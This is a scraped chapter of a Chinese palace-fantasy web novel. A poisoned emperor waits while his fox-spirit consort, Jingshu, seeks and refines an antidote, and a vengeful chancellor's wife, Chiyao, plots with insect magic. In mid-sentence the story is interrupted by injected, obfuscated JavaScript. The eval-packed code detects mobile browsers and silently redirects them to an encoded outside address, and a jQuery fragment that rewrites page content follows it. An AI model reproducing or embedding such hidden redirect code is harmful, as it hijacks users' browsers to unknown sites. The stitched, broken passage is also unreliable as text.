静姝刚刚给宋旻喂完药,正替他擦拭嘴角,就被他捉住了手腕。
轻轻拉过静姝的手,注意到自己以前骨节分明的手如今苍白干瘦,和静姝纤细柔嫩的手放在一起,更是如同老人的手一般。
宋旻内心不由生出几分怯懦,可是,他又无法压抑内心自私的欲望。
他眼睫轻颤,垂眸,从怀中掏出一个白玉手镯戴在静姝手腕上,“这个手镯是我之前亲手雕刻的,还有一些细节并不完美,我也不知道自己还有没有以后,所以趁现在便将它送给你。”
静姝细细地打量着手腕上的镯子。
这只手镯是由一整块羊脂白玉雕琢而成,上面雕刻着栩栩如生的小狐狸,其细节精致,包括眼睛,四肢和身体都刻画得极为生动,看得出来雕刻它的人很用心。
“这个手镯我很喜欢。你放心吧,你不会有事的。”
宋旻嘴角牵起一个虚弱的微笑,只当静姝是在安慰他,“右相的事情我已经安排晟王着手处理,不日便会将他与域外勾结的证据公之于众。之后晖儿登基为帝,有晟王和左相在旁护着,你也能轻松些。只可惜,我可能见不到你肚子里的孩子出世了,当时候你一定要告诉她父皇很爱她。”
说着用手轻轻抚摸静姝凸起的肚子。
似乎是感受到父亲温柔的爱与不舍,肚子里的孩子动了动,无声地跟他打招呼。
静姝将手覆盖在他的手上,和他一同感受着肚子里孩子的动静。
“我说过你不会有事的,我也不会让你有事的!你好好休息,等过几日我再来看你。”
她还未吸收到足够的龙气,元神上的伤势也还未好全,无论如何都是不能让他死去的。
静姝说罢不等宋旻作何反应,起身就往殿外走去。
“你是打算去哪里?”
身后传来宋旻焦急地询问,静姝头也不回地道:“我哪也不去。之前我不是给你说过,我曾救过一位道人吗?我打算去寻她给你解毒。”
找那道人自然是假的,不管是原身还是静姝都没有救过这么一个人。
静姝隐身来到冷府四处搜寻,以期能够找到解药。
不过可惜,静姝在冷府找了一圈,也没有找到疑似解药的东西。
无法,静姝只能返回皇宫。
“小姐,皇贵妃已经离开。”
冷府正院,穿着打扮极具异域风情的中年嬷嬷,恭敬地站在冷夫人蚩瑶身后。
蚩瑶站在窗前仰望着满天繁星,表情木然,眼中一片死寂。
听见嬷嬷的话,她脸上表情不变,手上把玩着拇指长的骨笛,冷笑道:“上次生产时没有弄死她为我的清儿报仇,这次无论如何,我都要那狗皇帝的命,来替我的清儿陪葬。”
不知道这李静姝用的什么妖法,上次参与的人一个不落的全都知道,冷府这几年在宫中培养的人手全部折损。
还有红药。
虽说对清儿忠心耿耿,但终究是她端去的毒药,能给清儿陪葬,也算是死得其所了。
只可惜,死前没有除掉李静姝和她肚中的孩子。
“那姑爷那里,可要为他解蛊?”
域外虫寨地域并不辽阔,人烟稀少,多群山,山中毒虫蛇蚁遍布。
所以虫寨的人从出生起就开始学习如何控虫。
其中,又以女子的天赋最好。
因此,虫寨是一个女子地位高于男子的国家,和大赵国正好相反。
而冷夫人蚩瑶就是虫寨贵族中的女子,所以中年嬷嬷才会称呼她为小姐,冷相为姑爷。
“解什么蛊?不需要!在大赵待得太久,已经让他忘记了,虫寨是一个女尊男卑的国家。”
说到这里,蚩瑶表情一变,呜呜哭道:“都怪我!如果不是我执意跟着这个男人来到大赵,我的清儿也不会落得如此下场。”
看着明显精神不正常的蚩瑶,中年嬷嬷表情没有一丝变化。
可见这种情况不是第一次了。
不过须臾,蚩瑶的情绪渐渐冷静下来,她握紧手中的骨笛,声音飘忽,“替身蛊可准备好了?”
得到中年嬷嬷肯定地点头,蚩瑶将骨笛放在嘴边,缓缓吹动。
奇怪的是骨笛并没有发出任何声音,蚩瑶依旧一刻不停地吹奏着。
片刻,许多绿色似蝴蝶的虫子从窗外飞来,在蚩瑶身边缓缓组成人形。
不过一会儿,和蚩瑶一模一样的人出现在她的身边。
两人四目相对,行为举止如出一辙。
“这次狗皇帝必死无疑,接下来就是李静姝了。我们走吧。”
最后看了一眼冷府,蚩瑶带着中年嬷嬷消失在夜色中。
冷府发生的事情,静姝并不知晓。
事到如今,她打算闭关炼制解毒的灵丹。
以前在天元大陆,静姝作为一只狐妖,从来没有学过炼丹。
现在虽然平日里看过许多炼丹炼药的书,但是她还从未试着炼制过。
再加上她元神上的伤势还未完全修复,想要炼制一枚丹药还是有些难度的。
不过好在解毒丹的炼制手法简单,静姝这几日也曾偷偷进空间尝试炼制过。
宋旻的身体越来越虚弱,几乎都没有清醒的时候,小如晖整天陪在他的身边,眼里的恐惧每日剧增。
母亲没有时间陪在他身边,父亲又身中剧毒每日醒来的时间很少,小小的男童飞速成长,日渐稳重,再也不见往日的活泼顽皮。
“陛下,右相冷春秋及其家人已被捉拿关押在天牢里,只是翻遍整个右相府也没有找到解药。”
晟王躬身站在床榻三米外,眼角余光注意到躺在床榻上骨瘦如柴的陛下,内心一片唏嘘,但他不敢有丝毫不敬。
当今从一介不受宠的皇子到如今高高在上的陛下,离不开他的铁血手腕,以及能够看透人心的智慧。
没人敢在他活着的时候小看他,哪怕他如今躺在床上已经起不了身。
“另外,臣等查看了冷春秋和域外之人的来往书信,他很有可能是域外安插在我国的奸细。”
“先帝这个皇帝当得可真是······”不够称职
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691683|173382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
未尽的话语湮没在嘴中,但也不能湮没宋旻内心的不屑。
冷春秋在先帝时期便已经是右相。
宋旻登基后,为了不引起老臣的恐慌,未查出罪证的大臣便也一直任用。
连他国奸细都能当上本国右相,可见先帝是有多无能。
大殿内其他宫人,包括宋如晖,都深深地埋下脑袋。
有些话陛下可以说,但却不是他们能够听的,即便内心很是认同。
“冷春秋那里如何说?”宋旻轻咳两声继续问道。
冷春秋这人,狡猾如狐,野心虽大,但也是惜命之人。
因察觉到宋旻和晟王已然联合起来对付他,所以先下手为强给宋旻下药,为的也不过是作为交换。
不过宋旻现在也不想死,就是和他交换又何妨。
晟王将头又往下埋了一点,回道:“冷春秋本打算提条件,可冷夫人突然跳出来,说解药的配方只有她知道,但是她不会告诉任何人,称······”
说着眼睛不由得往宋旻身上看去。
“称什么?”
晟王垂下眼帘,急忙开口回道:“称既然她的女儿没有得到陛下,那其他人也没有资格和陛下在一起。她的女儿既然已经不在人世,那陛下便下去陪她的女儿。说完便自杀了。”
接着又继续道:“在她自杀之后,冷春秋也突然暴毙而亡,许多虫子从他的体内钻出,只留下一张人皮。无法,我们只能烧死那些虫子。”
闭上双眼,听着耳边小如晖叫父皇的声音,宋旻内心很是颓然。
老天爷也不想让他活着吗?
他只是想和静姝白头偕老就这么难吗?
正无奈痛苦间,就听见殿内传来小如晖略带惊喜的声音,“白芷姐姐,你怎么来这里了?是母妃来了吗?”
宋旻期待往门口看去,却只看见白芷一人的身影,语气不由失望地道:“皇贵妃出来了吗?怎么只你一人前来?”
“回陛下的话,娘娘已经闭关出来了。但因动了胎气,如今正在休息,特命奴婢将解药送来。”
说罢,将手中握着的白玉瓶递给等候在一旁的魏珠。
这么多年过去,众人对静姝的特殊多多少少有所了解。
闻听此言,尽皆一喜,视线全都落在魏珠手中的瓷瓶上。
“可找太医看过了?可有大碍?”接过从魏珠手上递来的白玉瓶,宋旻并未急着吃解药,而是先问清楚静姝目前的情况。
他心里很清楚,并没有什么道士的存在,所以宋旻现在对静姝的身体很是担心。
“太医已经来看过,称娘娘动了胎气,只能好生将养着,并无大碍。”
得到满意的答复,宋旻这才放下心来,倒出解药毫不犹豫地吃了下去。
时间过得很快,却又仿佛很是漫长。
感觉到体内传来的一阵阵的如同蚂蚁啃咬一般的瘙痒和疼痛感,宋旻脸色苍白,额头上冒出细细密密的汗珠。
但又因着小如晖在场,不得不咬紧牙关不发出痛呼声。